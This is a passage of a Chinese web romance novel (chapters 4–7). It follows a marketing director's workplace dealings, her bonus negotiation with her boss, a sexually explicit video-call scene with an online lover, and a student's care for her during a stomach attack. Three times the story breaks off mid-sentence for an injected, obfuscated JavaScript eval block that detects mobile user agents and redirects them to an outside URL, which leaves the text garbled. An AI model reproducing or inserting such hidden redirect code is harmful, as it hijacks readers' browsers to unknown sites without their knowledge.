甘歆笑了笑,“我的小助理太宠我了,打着探照灯都找不着,我翻一下推给你。” 她拿出手机,翻到那个已经备注了“齐灏”的联系人,转发到了张然的微信上,张然也拿出手机操作,却皱上了眉。 “好像加不了,设置了不可被添加的权限。” 张然拿着手机给甘歆看,还真是。 “追他的小姑娘太多了不堪其扰?”甘歆塞了一口甘蓝菜进嘴里,“所以把好友添加权限关掉了?那他怎么能加我,单向的?” 张然点了点头。 “你电话复制给我一下,我让他加你。” 张然又点了点头。 回到公司后,甘歆回到了自己的独立办公室里,玻璃做的隔断,下半截是全磨砂玻璃,上半截是透明和磨砂交叠的横条,只要她不把遮光帘拉下来,里外都能看清大家的工作状态,甘歆一直觉得这种事情是相互的,自己也需要给大家立个好榜样。 坐定检查了一下邮箱,没有新邮件和事务处理,下个会在一个小时之后,她拿出了手机,打开了齐灏的对话框,先输进去了一串手机号,接着发了一行字过去。 “我工作比较忙,回消息不太及时,担心耽搁后续流程和内容的确认,这是我同事的手机号,她没办法加你微信,要麻烦你加她一下,回头细节你们沟通就好,有紧急的事项随时可以联系我,看到后会立马回复。” 来回仔细看了两遍,甘歆觉得没什么破绽,就点击了发送。 发完后就打算把手机放到桌上静音,自己放下椅子躺一会儿的,可手刚摸到后背调节开关,手机就在桌子上震了下。 她不得不再把手机拿回来,齐灏回了消息。 “是我哪里对接得不好么,还是有什么不专业的地方,徐老师说您是我们学院很优秀的毕业生,我很珍惜这次能和学姐学习的机会,或者您再指点我几句,要是实在不方便,我联系您的同事。” 甘歆倒吸了一口气,这什么?感情牌? 看着是个冷冷的淡人,打出来的字倒一点不客气。 她抬头看了一眼遮光帘,没拉起来,她伸脚趿拉着公司里放着的凉拖,走到窗户边的小沙发坐下,将左腿搁到了右腿上,就这么斜倚着端着手机看。 刚刚被感情牌冲击的思路已经淡了,她仔细又看了两遍,发现这个男生回得倒也算真诚,可又转念一想,张然也是他学姐啊,也不冲突,似乎也能这么回。 她很少对于“回复”而感到为难,更多的时候是有什么就说什么了。 说到底,还是因为这个男生太小了,才大三,比自己小一轮还多一岁,换位思考了一下,如果自己大三的时候有个向很厉害的前辈学习的机会,她也不肯放手的。 算了,就由着他去吧。 “没有,你很好,是我考虑欠周了,那就还是我来对接吧,”甘歆输了一串手机号过去,“这是我的手机号,还请小齐老师惠存哦。” “叫我齐灏就好,谢谢学姐,我会认真学习的。” 齐灏也发了一串数字过来,是他的手机号,甘歆顺手就存下了。 下午开会之前,甘歆和张然说了句还是她来对接,又跟着解释了句是徐教授指定的,才出发去会议室。 她也不知道为什么要多那一句解释,好像自己心里有鬼一样。 中层部门会议在甘歆看来和撕.逼大会没什么区别,把活儿都当成烫手的山芋,到处踢来踢去,把功劳当成香饽饽,这个部门蹭一口,那个部门咬一口,大家瓜分一下,这会就算开完了。 当然了,甘歆虽然这么觉得,但依旧本着这两个原则身体力行,毕竟部门不止她一个人吃饭,大家都指着她多争点奖金回来。 上下撕一通差不多两个小时,甘歆看着对面业务发展部老大都已经喝了六杯水了,没憋住笑,被总经理沈确抓住了,手机屏幕亮了一下,她拿到桌子下打开看。 “会后留一下。” 甘歆再抬头看沈确的方向,一点都找不到他刚刚给自己发微信的痕迹。 好不容易散会了,甘歆没有直接留下,而是端着自己的马克杯去茶水间添了杯热水,又拿了瓶无糖可乐,等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627025|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走得差不多了才回的会议室。 沈确坐在靠窗那一长排的第二个位置,至于为什么不坐第一个,甘歆知道,是因为反光,看不清投影。 她把可乐放到沈确的面前,隔了一个座位和他并排。 “哎,还是你懂我,”沈确拧开了可乐,仰头喝了一大口,“真的闹腾。” 沈确伸手稍稍扯松了些领带,又把乌金丝边的眼镜取下来放在桌子上,宽大的手掌先捂了一下自己的眼睛,再用修长有力的手指挤按着睛明穴。 还是沈确开的口,“不说点什么?” “季度奖,我们部门多发点。”甘歆直白,直奔主题。 “理由?” “我都献出我的个人资源了,给个面子。” 沈确笑了一声,睁开眼睛带着点玩味看甘歆,“你什么个人资源啊?公司可不赞成出卖美色啊。” 甘歆啧了一下,“老板,你这说的什么话,要占便宜肯定是我占别人便宜啊。” “哦?”沈确脸上的笑意更浓了,“谁这么倒霉啊,不知道你封心锁爱?” “说不过你,”要说甘歆在嘴仗上打不过谁,沈确排第二,几乎没人能第一,“母校关系我都拉出来了,而且亲自带执行,院长开幕致辞,徐教授主持圆桌,这排场,不值得沈总额外关照一下吗?” 沈确的眼睛眯了眯,笑得都要止不住了,“那得奖励你个人啊,部门贡献呢?” “我哪能吃独食,还混不混了,”甘歆喝了一口茶,“你看我现在,还能这么悠闲地和老板聊天,团队不给力的话,我哪有这闲心。” “噢,闲聊的话那就是私事了,奖金我们不谈了?” “公事、公事,我们聊的是公事!” 甘歆几乎耍起对着客户的那一套无赖来了,沈确只笑不语,连喝了好几口可乐,才最后放话说:“行,你们部门季度奖金额外加5%,你个人加15%,够吗?” “不太够。” “那部门奖金额外加10%,你个人加8%,这样?” “谢谢老板,老板发财!” “去忙吧。”沈确把可乐空瓶放到桌上,下巴对着抬了一下,“这个帮我带出去。” “好,给保洁阿姨,我知道。” 甘歆回到部门的时候压着喜悦,特意板了一张脸进的办公室,沉得几乎能滴出水来,原本还有些喧嚣的部门瞬间就安静下来了,只能听到鼠标和键盘的声音。 门轻轻被敲了两下,张然探了个头进来,“歆总?” “进来。” 张然也小心翼翼地,拿了个文件先给甘歆看,“这个,要麻烦您签个字。” “部门报销单很着急?”甘歆故意压低了声音,拿过来签字前还故意来回翻了一下,“怎么开支又比上个月多了。” “办公用品换了些,给设计采购了人体工学椅,还有大家的键盘都换成了静音轴的,主要还是我们部门的一体机换了,所以申报得多了些。”张然一条条给甘歆小心翼翼地解释着。 甘歆憋了个笑,再抬头看张然的时候,表情就变了,眼睛都亮了起来。 “吓你的,”她招招手让张然过来,凑到张然耳朵边上说,“季度奖有着落了,到财务那应该没这么快,先别声张。” “真的?!”张然气音都高了起来。 “沈确同意了,”甘歆两个食指交叉在了一起,“这个数。” 张然给她竖了两个大拇指。 5. 第5章 下班后,甘歆决定奖励自己吃一顿好的,买了200克的M8和牛切片一盒,又买了些洋葱,回家收拾出了一顿和牛盖饭,又难得开了一瓶低酒精度的樱桃味起泡酒,吃完后都是满足。 起泡酒的甜味让她有些上头,又倒了一杯,走到阳台边开了窗,就着深春的潮热暖风,还有夕阳落下的江景,小口小口地喝着。 杯子见底的时候,她还觉得有些不够,可挪起步子来,却有些虚了。 随手将杯子放到了餐桌上,她拿了手机就卧在了沙发上,今天回来外衣都没来得及换,直到现在还穿着斜方领的女士衬衣和缎面包臀裙,连光腿丝袜都没来得及脱。 打开了红色标志的社交软件,刷着上面人均千万的生活,甘歆只觉得好笑,感觉全世界的富人都乐意炫耀一样,但看看倒无伤大雅,还能有个对美好生活的奔头。 顶部跳出来了条微信,手比脑子快,直接点开了。 是他,景页。 “今天的夕阳很好看,我给你寄了一份礼物,记得去拿。” 甘歆并没有和景页交换地址,而是给了他父母家附近的一个代收点,景页有的时候会给她寄一些小礼物,比如钥匙扣上的拼豆,比如一个漂亮的便签本,都不贵,她收下并没有负担,但从来没有给他回寄过。 她直接问过景页,需不需要回礼,景页说不需要,但如果她想送,他会毫不犹豫提供地址,甘歆就说等她想送的时候再问。 “我刚刚就在窗边,很漂亮。” 平日里和人交流,甘歆总是起话头的那个,但在景页面前,她只作回应。 “有你漂亮吗?” 景页很少打听甘歆的事,除非她愿意说。 他这话问得暧昧,甘歆低头笑了笑,简单思索了一下,回了一句过去。 “你觉得呢?” “应该没有,你是仙女。” “万一是个脸朝下的怎么办?” 她喜欢逗景页,或者说,喜欢景页被逗了之后回的内容,他总是能让自己高兴。 “你不喜欢的话,背对着我也可以。” 甘歆差点没笑出声来,酒精的关系,憋得眼尾都有些红了,打字太麻烦了,她还是习惯发语音条过去,她清了清嗓子,似乎想驱散一下蕴在口腔里的酒意。 “大胆,哪来的色.魔。” “不是色.魔。”对话框上的正在输入一直亮着,又暗了,又亮了,甘歆等了半天,终于等到了下半句话,“仙女的背面也是漂亮的。” 景页说话一向直白,甘歆突然有些脸红,她丢下手机,不想再搭理这个魅惑人心的人了。 站起身,先褪去了包臀裙,扔在了沙发扶手上,又去解衬衣,直到解开三颗纽扣,手机才响了第二次,不想管的、不想理的,可还是受不住诱惑打开了。 景页又发来了一张照片,是一只手,还拍到了撸到手臂中间的衬衣袖口,白色的,看挺括的程度应该是一件挺正式的衬衫,露出的手臂偏白,手背也好看,没握起来的手指骨不是很明显,说明这个人并不瘦弱,手指修长有力,指节不突出,连指甲都干干净净的。 甘歆盯着这张照片许久,她不是第一次看到景页的手,但每次都觉得好看,好看到想被触碰的地步。 “这只手你拿走吧,我不要了。” 景页发来的消息让甘歆愣了一下,她又躺回了沙发上,这次比刚刚要显得凌乱许多,开了一半的衬衫,还有腿上的光腿丝袜,连紫罗兰色的蕾丝内裤都若隐若现在衬衣下摆。 “怎么就不要了。”甘歆这次是打字过去的。 “它老想做坏事,太坏了,我管不住。” 过去两个人闹腾的时候,开场都很快,往往一个人情绪上来了,另一个人立马就进入了状态配合,很少有这种言语上的你进我退。 与其说甘歆不太喜欢这样,不如说不希望这样,因为会让她有一种两个人有着过分“暧昧”的错觉。 但今天太开心了,又喝了酒,就允许他放肆一回。 “要交给我管?” “要。” “要什么?” “你。” “我怎么给?” “给我。” “在你脖子上拴根绳?” “领带可以吗?” “凑合。” 几分钟后,甘歆收到了一张照片,深蓝色又有暗格纹的领带,系在了景页的脖子上,他还贴心地将领带翻了上去,可脖子再往上,甘歆就看不见了。 “用嘴叼的吗?” “是。” “还会干别的吗?” “会,不会也可以学。” “打过来。” 几秒后,她单向看到了景页的身体,已经没有了遮掩,能看到他的一只手的确是拿着手机的,另一只手垂在身体侧边,那领带的确是他用嘴叼住了。 这次她没有去拿耳机,而是就这么把手机架在了沙发扶手旁边的圆几上,又取了放在圆几底部的小玩具盒子,拿出里面的东西来后,才趴回了沙发上,把刚刚的东西埋进了沙发里,手里握着一个开关。 甘歆的脑袋也几乎埋在沙发里,声音闷闷的,但足以让对面听见。 她难得主动引诱,“出汗了,丝袜有点黏。” 屏幕上多了一个有点可惜的表情,却比不上接下来的那一句话来得更有冲击力。 “撕裂的话是什么声音?” 她几乎是在一瞬间就沉溺了进去,酒精让她比过去的任何一次都要热情,几乎全程都在出声,大多数时候都如蝴蝶翩翩,偶尔会像是夜里叫.春的猫,激烈且难以抑制。 主动的后果,就是景页比平时更快,几乎是和她同时落地的,连平喘的频率都能和他腰腹上的起伏一致。 景页还将手伸到了屏幕前,是干净的,应该是已经处理好了。 是他刚刚拍过照的那只手,好像透着屏幕在安抚甘歆湿漉漉的额头。 “对不起。”景页打了这三个字过来,又补了三个字,“累了吗?” 甘歆只觉得嗓子要烧起来了,连话都说不出口,还在喘息着,这次没等到景页发爱心表情,也没回复他问的话,她就直接挂了,还把手机扔到了旁边的单人沙发座上,泄愤一般。 她也不知道自己在生什么气,明明是自己想要的,但就是不爽。 丝袜还好好地在腿上,刚刚只不过是磨蹭,就几乎让自己失控。 他太会了,会到让甘歆觉得危险。 真的不能再联系他了! 连身边的能看到脸的男人她都不想要,难道要被这个无脸男摆弄不成? 不成! 长长地呼了一口气之后,甘歆起身,将丝袜向下卷着脱掉,连带着蕾丝内.裤一起扔进了垃圾桶里,捞起了她的缎面裙子和刚刚被自己甩在地上的衬衣,一股脑扔进了洗衣机,点了轻柔洗,然后好好给自己洗了个澡。 依旧是浴巾裹着身体出来的,这次多了个头巾,她想趁自己下定决心的时候赶紧就把这事做了,免得夜长梦多。 “很高兴认识你,但我觉得我们已经不适合继续聊下去了。” 甘歆这话打得一气呵成,打完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627026|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就发送,没有一点拖泥带水。 景页那边沉默了许久,久到甘歆没了耐心,他点开了个人资料,在黑名单那犹豫了一会儿,最终还是留给了彼此要一个体面,只点击了删除好友。 她没再看手机,又回到浴室吹头发、开始护肤等一系列操作。 弄完了后倒头就睡了,酒精和发泄的双重作用下,一夜无梦。 早晨是听着鸟叫声醒的,甘歆眼睛有些迷,揉了两下后起床上厕所,经过客厅的时候发现半个手机在桌沿外,幸好家里没有养宠物,不然肯定掉到地上来。 她快速走过去拿起手机,走到卫生间坐在马桶上,脸部自然解锁后,习惯性地点开了社交软件,上下滑了两遍,有几个红点,都没什么欲望点开。 联系人那也多了个红点,点开后不出意外是“景页”的添加好友信息。 没有什么真诚的、打动人的、求人的,加回来的话语,而是只有一颗emoji的红爱心。 甘歆扯了扯嘴角笑了一下,什么强迫症,人都删了,流程却不能少。 她实在没忍住,翻了个白眼,点了拒绝。 这天她特意画了全妆,连阴影都打了,栗红色的头发被碎发梳整理得很平整,在后脑处挽了个髻,却看不出扎的痕迹,上身穿了件黑色的丝绒衬衣,裤子也是丝绒的高腰束腰裤,蹬着一双红底高跟鞋,整个人看起来相当利落。 可能看起来太飒,和她主动打招呼的人更少了。 张然主动帮她泡了杯茉莉龙井,问她今天是不是要出去见客户,要不要帮她原来的行程换一下,甘歆否认了,她今天谁都不想见。 这一天手机看的次数都比之前多,明明没有消息,还是会忍不住拿起来看,可新好友那一点动静都没有,她脸黑了整整一天。 下班的时候沈确还特意来了一趟,问她穿这么隆重要不要陪他去一个商务饭局,算是报答他答应季度奖金的事,甘歆也拒绝了,理由是特殊日子。 沈确明显露出了些惊讶,但很快收敛了回去,只是让她早点回家好好休息,甘歆勉强笑了笑答应了。 下班半小时后,部门里的人基本都走光了,只有一两个设计还在电脑前,张然走之前也来和甘歆打了招呼,让她有事随时打电话,甘歆只说知道。 她一直在办公室坐到晚上八点,连最后一个设计都走了,还是不太想动。 齐灏发来了两条信息,先是一个excel表格,接着是一句话,“学姐,这是我做的活动当日事项流程表,您看看有哪里需要调整的吗?” 小男孩就是没边界感,大下班的,谁给你看。 电话又响了起来,是妈妈打过来的。 “喂,老妈,怎么啦?” “歆歆啊,你怎么不看消息呀,是在忙吗?有快递你爸帮你拿回来了,就一小片东西,发到你手机上了,你看看是给你寄过去还是怎么说?” 甘歆开了免提,点开了三人家庭小群的对话框,是景页寄过来的小礼物吧? 打开他爸拍的照片后,甘歆愣了几秒,清了清嗓子,对着电话里的妈妈说:“不用寄,你让老爸拍得清晰点,发在群里就好,等我回去的时候拿。” 又是一个拼豆。 这次景页拼了个二维码。 爸爸拍了张正面清晰照发到了群里。 甘歆试着长按识别了一下,出现了景页的好友添加页面。 没拿手机的手撑着额头,嘴角控制不住地往上抬了抬。 烦躁了一个白天的她,在此刻笑了起来。 嗯……他果然还是太会了。 6. 第6章 有了景页的二维码,甘歆倒不着急加回来了,烦躁了一天的心逐渐平静,她收拾了下东西,将刚刚蜷缩在椅子上的脚放了下去,戳了戳红底高跟鞋穿上,站起来又蹬了两下,拎起包挎在肩膀上离开了公司。 她今天早上烦得都没开车。 到1楼的时候才发现,大堂的灯都暗了下来,她觉得夜晚连这栋大楼都在恢复喘息,出了闸机后,她看到值夜班的保安在前台打瞌睡,白天的熙熙攘攘都沉寂了下去,整个空间都是静谧。 甘歆特意放轻了脚步,不让高跟鞋的声音太明显,几十步路走得很慢,出了自动门后,一股带着微微潮热的风迎面吹来,她不禁唇角勾了勾,心情又更好了些。 已经过了下班高峰,甘歆走到路边,她突然厌倦了用手机叫车,而是就这么站在路边等一辆空车,可接连着好几波车过去了,依旧没有一辆空车,直到一辆途锐停到了自己面前。 “梁老师?”甘歆有些意外,低下头看着车窗里的梁越。 “真的是你,”梁越抿了个笑,有些腼腆,“我还以为看错了,打不到车吗?上来吧,我送你。” “啊……”甘歆不好意思地笑了笑,没有拒绝,打开了副驾坐了进去,“不好意思,又要麻烦你。” “我也是凑巧,刚刚送佳佳去奶奶家,明天要去邻市学校做案例教学,没办法送她了。” “梁老师带娃辛苦了。”甘歆系上安全带,把手机放进了包里,双手交叠放在了腿上。 不知道为什么,她每次和梁越见面,都会有种不自主的紧张感,可能因为他是老师的关系?又或者是因为他说话实在太过温柔认真?甘歆无法在他面前放松下来,尤其在不说话的时候,更显得无措。 好不容易从脑子里找到个话题,甘歆又开了口,“梁老师住在哪里?会不会不顺路?” 梁越单手在方向盘上一转,正好一个右转,流畅舒展,配着他斯文干净的这张脸,透出一股儒雅的气质,甘歆有些意外,感觉自己好像过去都没怎么看过他一样。 “不会,”梁越淡淡地笑了笑,“明天和学校的老师一起出发,今天本来就打算在休息室睡的。” 甘歆点了点头,又不知道该如何接话了,咬了下嘴唇又弯了下眼睛,“谢谢你啊,梁老师,麻烦你两次了。” “见外了,阿歆,”梁越难得身上露出一些从容,“读书的时候都直接叫名字,上班了反而倒加上称呼了。” 这话落到甘歆的耳朵里,她才反应过来,再次与梁越见面后,她都是“梁老师、梁老师”地叫,好像真把人叫生分了,“哈哈,我是太见外了,梁越。” 梁越右手食指在方向盘上敲了敲,嘴角不明显地弯了一下,似乎有些愉悦。 很快,途锐停到了甘歆的小区门口,梁越没有提议开进小区,而是就在路边停了下来,甘歆下车后还弯腰与梁越对视道谢,还对着他挥了挥手说了拜拜,梁越也对他挥了挥手,她礼貌地等到梁越的车开走了才回身往小区里走。 她拿起手机看了眼时间,竟然已经快十点半了,有些意外自己竟然在公司里磨蹭了那么久。 夜晚的小区很安静,只有风吹过叶子的沙沙声,还有她的高跟鞋。 肚子咕——地一声,甘歆这才反应过来自己还没吃东西,中午也只喝了一杯酸奶,她加快了脚步,可总有些岁月的痕迹会比她的脚步来得更快,胃开始绞痛了起来。 她早年的时候负责海外市场,常年出差,时差混乱,吃饭喝水都不规律,又多有酒局应酬,落下了胃病,换了事业线后,才慢慢稳定下来,直到这两年当上了总监,能把更多事务交给团队,加上也注重起了健康问题,才慢慢刻意地在养着,没怎么再犯过病。 胃痛的感觉越来越明显,她翻开包,连一颗糖都没有,老旧高层等电梯是个又耐心活儿,甘歆微微皱着眉,心里叹了口气,才走进了楼里。 还没到电梯口,楼道里的感应灯就亮了,她又看见了那条丹宁色的牛仔裤,下意识地抬头去看那个人的脸,看到的却不是上次的那个男生,也不是齐灏,走出来的只是一个普通的男人。 看来,这种样子的牛仔裤的确挺多见的。 刚刚光注意这个人了,没来得及进电梯,电梯又被召唤上去了,甘歆这才实打实地叹了口气,看来又要等一辆,胃痛得越来越让人难以忍受,她不得不伸出手掌放在胃部用力按住,额头上也一定出了些细汗,幸好是晚上,没人看得到她这么狼狈的样子。 电梯终于下来了,她已经无暇关注轿厢里的情况,没等里面的人出来,甘歆就走了进去,按下了23楼的按钮。 可电梯里的那人并没有要走的意思,从甘歆朝下的视线里,只能看到卡其色的休闲裤,还有一双白蓝相间的板鞋,她有气无力地问:“不出去吗?” 那人才侧过来低头看了看她,“学姐?” 甘歆仰起头,在电梯的灯光下脸色接近惨白,额头还渗着汗,下一秒就又低下了头去按胃,“是你啊,先不说了,你快出去吧,我有点不舒服,想快点上去。” “我送你。”齐灏按下了电梯的关门键,还靠到了甘歆身边,双手扶着她的手臂。 她实在没力气拒绝,电梯门开了后,连往外迈一步整个人都要倒了下去,幸好齐灏接住了她。 齐灏换了姿势,一手大张绕过她背后把住了手臂,另一手就扶着手肘,几乎是擎着甘歆到的门前,甘歆无力地甩了一下手里的包,说话声小得几乎听不见,“钥匙。” 齐灏让她整个身体都靠在了自己身上,余出来的手在包里找到了钥匙开了门,拍了下门口的开关,玄关的灯就亮了,甘歆几乎整个人都要倒下去了。 下一秒,齐灏就把她打横抱了起来,还小声说了句“抱歉”,他脱了鞋,将甘歆抱进了客厅,稳稳当当地放到了沙发上,才去关了门。 “……药在,在卧室,床头柜的抽屉里。” 男生进了她的卧室,三两步到了床头柜前,几乎是半跪着打开了抽屉,拿了药又立刻出来,去厨房拿马克杯倒了热水,加速晃着散了散热,又迅速回到甘歆面前。 她几乎是挣扎着起来的,“三……三粒。” 接着一个大手里躺着小小的三粒白色药片出现在了她面前,甘歆无力得手都举不起来了,她就着齐灏的手就这么吃了下去。 温水也是齐灏喂的,他喂得小心翼翼,生怕甘歆呛到似的,甘歆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627027|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却嫌他慢,头故意往前顶了顶。 药是下去了,药效还没上来,甘歆就这么躺在沙发上,也顾不上此时家里多了个人。 不知过去了多久,甘歆好像已经睡了一觉,醒过来的时候闻到了菜香味。 她皱了皱鼻子,整个人还有点恍惚,以为自己回父母家了,“老妈……” 声音里都带着点撒娇。 又清醒了一些,才看清面前的人围着自己家里的围裙,再向上抬,才看清了这个人是谁,一下子尴尬地有些不知道说什么好,千回百转,才挤出来一句感谢。 “……谢谢你啊,齐灏。” 穿着围裙的男生蹲了下来,额头的碎发有些都落到了眉毛上,却盖不住他浓密的眉毛和眼里的深邃,说话的声音比初次见面柔和了很多,少了些淡漠疏离,“好些了吗,学姐?” 这一声学姐,甘歆彻底醒了,应该是药效起来了,胃痛的感觉已经减缓了很多,她坐了起来,发现自己身上盖上了卧室里的蚕丝被,穿着的高跟鞋早已被褪下,沙发边上放着的是她的毛绒家居棉鞋。 一想到这些事都是这个男大学生做的,甘歆就有些不自在,她轻了轻嗓子,又要再说谢,却被齐灏的话堵在了嘴里。 他依旧是半跪着的姿势,视线却随着甘歆的起身而仰了起来,“喝点粥吗?” 甘歆不自禁地咽了一口唾沫,嘴里有些干燥,胃里空空的感觉愈发明显,是真饿了,再不吃点东西,保不齐胃还会疼。 “……嗯,”她停顿了一下,觉得又说谢谢太啰嗦,索性对着齐灏发出了邀请,“你也喝点吧。” 齐灏的眼睛睁了睁,点了点头,“好,我去盛。”刚没走两步,他又回过身来,“一会儿我过来扶您。” “没事,”甘歆干笑了两下,心里却是有些慌的,她不知道此时该对一个比自己小十三岁的男孩说什么才好,只能怎么客气怎么来,“不疼了,能走的。” 直到齐灏进了厨房,甘歆才真正松了口气。 搬到这里来后,别说男人,就连她爸妈都没来过,现在这个男大学生不仅来了,还自顾自地做上了饭,她觉得有些好笑,转念一想,又觉得自己荒唐。 自己难受被撞见了,人家恰巧帮忙,很正常很温暖的善心而已。 “学姐?”齐灏在餐桌边催促了一声,甘歆应了一下就起身要走。 直到身上的蚕丝被全数落在沙发上,她才反应过来,上衣已经被换成了缎面的睡衣,她下意识地往下看,裤子倒是没脱,她皱了皱眉,觉得有些冒犯,坐在餐桌边的时候脸都冷了下来。 “衣服是你给我换的?”单刀直入的质问。 齐灏惊讶了一下,眼神无辜和抱歉交杂着,“对不起学姐,您出了很多汗,我担心您胃痛后又着凉,所以才这么做的,冒犯了。” 倒是情有可原,胃痛后要是再发烧,高低得住个院。 不应该这个口气的,至少人家今天帮了大忙,甘歆正要找补,齐灏比她更快一步补了一句。 “内衣……我没有动。” 刚刚升腾起来的愧疚被这句话浇灭了,她有些尴尬地用勺子挖了一口粥放到嘴里,含含糊糊地“嗯”了一声。 7. 第7章 “然然,你把上次我们做活动的那个rundown,最终版发我一下。” 张然正整理资料,被叫了这么一声立刻抬起头来,眼睛里都是惊讶,当着大伙儿的面没说什么,只应了一声,“好的。” 甘歆刚坐到为止上,张然就捧着杯咖啡送了进来。 “发您邮件啦,”张然每次调笑她,都是用敬语,甘歆说过她,她就说伸手不打笑脸人,甘歆就拿眼神剜她两下意思意思,这会儿张然跟小兔子一样凑到跟前来,“歆总,今天怎么没穿高跟鞋啊?” “这你也要管?”甘歆故作惊讶,脸上笑意不减,跟她开玩笑,“想通啦,接受潜规则了?” “哎呦,我这拖家带口的,潜我不划算,”张然这才把想说的话说出来,“没高跟鞋的声儿大家都没紧张感。” “你们啊,一个个的都跟蜡烛似的,不点不亮。” “哪有,这是我们催生生产力的铃声好不好,”张然对着甘歆的脸张望了张望,“真没不舒服?” 甘歆心里欣慰,助理兼好友将她的习惯记在了心里,笑着摇了摇头,“昨天晚上胃病犯了,不过已经好了。” 张然皱了皱眉,“今天要不休息一下?下午也没有额外的行程安排。” “不了,”甘歆打开手机看了一眼,“沈总下午有客人来,让我一起接待一下,我更新在日程里了,如果有其他事帮我避开下。” “好,那我先出去了,有事随时找我。” 甘歆点了点头,“嗯,rundown发我了吗?” “发了,”张然有些好奇,“这个活动已经结案了,是审计和采购那边在复核吗,还是哪里有问题?” “哦,不是,”甘歆头也没抬,“那个男大学生,流程做得乱糟糟的,我就是找个模板给他。” “哦哦,好的。”张然带上了门。 甘歆打开了张然发过来的文件,上下草草扫了一眼,就转发给了齐灏,并且留了个言跟他说内容和格式可以参考这份文件,刚想把手机放下打开电脑,注意到她在给齐灏发信息之前,对方就给她发过了微信。 “学姐,胃药昨晚我私自做主放进你的包里了,想了下还是跟您说一声。” 甘歆挑了个眉,没想到这个小小大学生还挺细致,其实昨晚就注意到了,就是胃实在疼,后来因为换睡衣的事情弄得气氛有点尴尬,光想着怎么送这个男生走了,细枝末节上都没考虑。 现在想想,昨晚的菜粥煮得稠稀正好,放的都是精瘦肉糜,还有切碎了奶白菜叶子,还切了皮蛋碎放进去,咸淡适中,连吃到嘴里都是温热的,不烫嘴,什么都是正正好好。 她以为现在的小孩儿都不会做饭呢,更不用说男孩子了,齐灏的确让她有些意外。 输入框了打了“谢谢”,删除又打了上去,来回纠结后,加了句我请你吃饭吧,刚想点击发送,齐灏的信息就回了过来,不是文字,而是一个语音条。 甘歆看着语音条边上的那个小红点很久,突然意识到了什么似的,打开了微信的“新的朋友”那一栏,景页没有再发来好友申请,她说不上是什么感觉,失望和失去了一个玩伴的感觉不一样,但她无法界定。 回了回神,点开了齐灏发来的语音条。 “学姐,抱歉,模板我有些看不懂,方便请教您吗?” 甘歆几乎没有犹豫,几乎立刻回了过去,“可以的。” 她还没反应过来,齐灏的语音电话就打过来了,她有些无奈,男大还是这么没有边界感,说打来就打来了,昨天还受了别人的恩惠,刚刚又说了可以,这电话是非接不可了。 面对二十几岁的人,她到底还是有些倚老卖老,虽然接通了,但没有说话。 “喂?” 电话那头的声音很沉,气息也稳,连打过来的电话接通了没声音,也问得不急不慢的,“打扰到你了吗,学姐?” 甘歆轻咳了一声,“没有。” “好的,抱歉,那个流程我有些看不太懂要怎么做,您能简单跟我说说吗?” 虽说甘歆是一路从执行做起来的,但这几年更偏向管理岗位,已经不再在这些paperwork上费功夫了,说的话大多都是对着有经验的项目经理,讲起规划来更多是从大策略和方向着手,讲完了才反应过来对方是个还没大学毕业的学生,甘歆有些懊悔,声音都软了下来。 “能跟上吗,我再给你讲一遍?” “挺清楚的,我修改好了发您。” “嗯,好,有什么不清楚的随时问。” “谢谢学姐,那我不打扰您工作了,学姐再见。” “不客气,拜拜。” 甘歆的最后一个字还没落地,电话就被挂了,弄得她有点闹心,忍不住皱了皱眉,现在的小孩子真没礼貌,她一定得记得和张然说一声,教育儿子的时候别手软。 上午基本没有需要沟通的工作,也没有会,甘歆就回了回邮件,剩下的时间就在办公室摸鱼,刚刚齐灏挂断电话的样子感觉有些熟悉,好像……挂景页电话的自己。 说挂就挂,有的时候连招呼都不打一个,十分无情。 回想一下刚刚,被挂电话的确有些……不舒服。 那景页呢,是不是每次被她挂电话后,也有同样的感觉? 她又打开了那张拼豆做成的二维码照片,长按、扫描——跳出了景页的个人信息页面,甘歆惊讶地发现,他竟然换了头像,之前是黑白的龟背竹叶子的影子,现在却是真的被撕碎了的龟背竹叶,依旧是黑白的。 在甘歆看来,景页虽然比她小一些,除了和她在胡闹之外,打过来的内容都中正、分寸也掌握得很好,就连和她讨论电影情节和对热门事件态度的时候,即使有不同的意见,也会表达对她的尊重。 这会儿心里还真冒出来了些愧疚,又点开了他的新头像看了又看,不经意地叹了口气。 本来就是没有交集的人,或许也谈不上得到或者失去? 那她申请加回来,是不是也可以当做以前的事没发生过?连带着那些暧昧涌动的情愫,全都抛开,只当个普通的网友就好。 她几乎都要说服自己了,连“添加好友”都点开了,就是没点击“发送”。 门被敲了敲,甘歆仿佛被捉现行的小偷,心也跟着抖了一下,“进。” 张然的脑袋探了进来,“歆总,赏脸一起吃个午饭呗?” 